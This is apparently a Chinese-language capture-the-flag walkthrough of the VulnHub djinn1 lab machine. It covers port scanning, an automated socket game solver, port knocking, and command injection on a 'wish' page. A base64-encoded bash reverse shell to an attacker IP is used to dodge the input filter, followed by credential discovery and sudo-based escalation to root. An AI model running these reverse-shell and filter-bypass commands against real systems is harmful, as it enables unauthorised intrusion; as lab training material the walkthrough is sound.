vulnhub-djinn1
获取 IP 地址,目标机器已显示:

获取信息:nmap -A -p- 192.168.67.108
得到 4 个端口:
21 --> FTP --> open --> 猜测有文件可获取
22 --> SSH --> filtered --> 猜测为敲门服务[DC 有练过]
1337 --> SOME --> open --> 使用 nc 连接
7331 --> HTTP --> open --> 网页


21 --> FTP
仔细看 nmap 扫描返回的结果,可以看到可以使用 Anonymous 用户名登陆,并且有三个文件可读,可以 GET 下来查看:
ftp 192.168.67.108 21
ls
get creds.txt
get game.txt
get message.txt

查看三个文件:

1337 --> game
nc 192.168.67.108 1337

哦吼,1000 次,这是手动做的事情吗?当然不是,编写脚本自动跑吧~脚本后面会简单解释下[注:python编写]
#!/usr/bin/env python3
import socket,timedef calc(firstnum,secondnum,flag):firstnum = int(firstnum)secondnum = int(secondnum)answer = 0if flag == '+':answer = firstnum + secondnumif flag == '-':answer = firstnum - secondnumif flag == '*':answer = firstnum * secondnumif flag == '/':answer = firstnum / secondnumreturn int(answer)def get_data(s):try:total_data = []for i in range(1):try:time.sleep(0.1)data = s.recv(14)print("Length: "+str(len(data)))if not len(data):breaktotal_data.append(data.decode("utf-8"))except:continuereturn total_dataexcept socket.error as e:print(e)def main():try:time.sleep(2)s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)s.connect(("192.168.67.108",1337))s.setblocking(0)total_data = []time.sleep(2)data = s.recv(444)# print(data)total_data.append(data.decode("utf-8"))firstget = total_data[0]# print(firstget)flag = firstget[-9]num2 = firstget[-5]num1 = firstget[-13]print(num1,flag,num2)answer = str(calc(num1,num2,flag))print("Answer: "+answer)for i in range(1,1002):print("times: "+str(i))s.sendall(answer.encode("utf-8")+"\x0a".encode("utf-8"))if i == 1001:total_data = []time.sleep(2)data = s.recv(74)#print(len(data))total_data.append(data.decode("utf-8"))firstget = total_data[0]print(firstget)else:data = get_data(s)[0]num1 = data[1]flag = data[5]num2 = data[9]print("Calc: "+num1+flag+num2)answer = str(calc(num1,num2,flag))print("Answer: "+answer)print()except socket.error as e:print(e)if __name__ == '__main__':main()
这里面最需要注意的地方就是 RECV 阻塞的问题,可以设置非阻塞状态,除此之外,需要在 recv 函数前设置 sleep ,模拟阻塞,这两个都没啥效果,会在中途出 bug,起初我的 recv[] 设置接受数据大小为 20480 ,后面一直不行,打印数据大小,将 recv[] 接受数据改为接受长度,第一次接受到的数据长度为 444 ,第二次到 1001 为 14,最后接受为敲门服务的三个端口号,长度为 74 [题目说是 1000 次,其实是 1001 次…想坑人]
花费时间在几分钟之内

22 --> SSH
得到敲门服务口令:1356, 6784, 3409[利用 nmap 敲门]

刚开始我们可以看到 SSH 被过滤了:

敲了门以后打开 SSH:[一次敲门不成功你就多敲几次,多敲几次就成功了:D]
nmap -p1356 192.168.67.108
nmap -p6784 192.168.67.108
nmap -p3409 192.168.67.108
nmap -p22 192.168.67.108

很好,到这里我们花了一些时间,就为打开一个 SSH 服务:|
7331 --> HTTP
前面三个端口我们都弄完了,接下来到最后一个 web 看看:

就这?啥都点不了,dirb 跑一下路径:
dirb http://192.168.67.108/7331 /usr/share/wordlists/dirb/big.txt
跑出来两个东东:genie 和 wish


wish 页面一看 Excute 手痒输入 id 命令查看一下,弹出页面,仔细看,哇,障眼法呀(Ctrl_a 高亮)看不清楚查看网页源代码

查看一下 /etc/passwd

不禁疑问,这是把空格过滤了还是什么,ls -l,一波,查看网页源代码

看来不是把空格过滤了,尝试一下能否获取反弹shell:
nc 192.168.67.221 8686 -e /bin/bash —> Wrong choice of words
这里是把 bash 给过滤掉了吗?换个姿势尝试下~
bash -i >& /dev/tcp/192.168.67.221/8686 0>&1 —> Wrong choice of words
看来是把一些特殊字符过滤掉了,尝试能否编码绕过,但是系统指令时不识别的,会显示未找到命令,那能不能吧把编码过的命令传过去,然后解码然后执行呢?答案是可行的
首先打开侦听端口:
nc -vnlp 8686
其次执行编码:
echo "bash -i >& /dev/tcp/192.168.67.221/8686 0>&1" | base64

得到一串编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK
再者在 wish 页面上执行:[其实就是先编码后解码再执行这么三步:D] --> 获取反弹 SHELL
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK" | base64 -d | bash

ls -la --> 我也不知道为啥图中双写了,查看了一下内容,没有啥发现,到家目录 /home 看一下


查看 users.txt 没有权限,进入 .cache 无权限,进入 .dev 可以,查看 creds.txt
cd .dev
cat creds.txt

得到 nitish 的账号和密码 --> nitish:p4ssw0rdStr3r0n9
到这里可以用两种方法登陆
- SSH 登陆
- su 进入,但首先得获取 bash 壳,可借助 python,
python -c 'import pty;pty.spawn("/bin/bash")',然后 su nitish
竟然有 SSH ,那干嘛不用呢?
ssh nitish@192.168.67.108

ls -la
cat user.txt
得到一个flag:

想进入到另外一个 sam 用户,进不了,看一下有没有越权命令可用:
sudo -l

有一个 /usr/bin/genie 可供我们用 sam 权限使用
man genie查看帮助
有 4 个命令可以使用,猜测作者是想在后续实验恶搞我们,恶趣味啊…后面证明确实如此…

4 个命令均尝试一下,[注:玩多了你会发现从右往左或者从后往前可以提高效率,这里还是从前往后搞吧…]
sudo -u sam genie -g id

果然骂人…
sudo -u sam genie -p id 123 --> 还骂

sudo -u sam genie -e id 123 --> 起初以为良心发现不骂了,事实证明我要拿 shell 时,不给就算了,又骂人

sudo -u sam genie -cmd dir --> 最后一个看来不是良心发现,而是不得不给:|

cd /home/sam
ls -la
cat .sudo_as_admin_successful --> 无反应
…初步查阅,有一个 .pyc 我们可以尝试反编译
但是需要下载下来,百思不得其解,后来学习到可以开一个简单的服务器,展示当前目录,从 Browser 下下载,学习了…
python -m SimpleHTTPServer
wget http://192.168.67.108:8000/.pyc
uncomplepy6 .pyc
得到源码,但是还不知道有什么用…

老手段搞搞:sudo -l

有 root 权限,看来提权就结束了
sudo -u root /root/lago --> 是几个选项,你会发现他又开始骂人…

唯一能做的就是 2 选项,让你猜数字,只有这个是可以重复的,所以猜测提权入口点在这里。
除此之外你会发现,之前用 uncompyle6 反编译 .pyc 就是这个的源码
经过研究,尝试在 2 项中输入 num ,得到结果:[研究源码,你也会有所发现]


cd /root
ls -la
.proof.sh

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
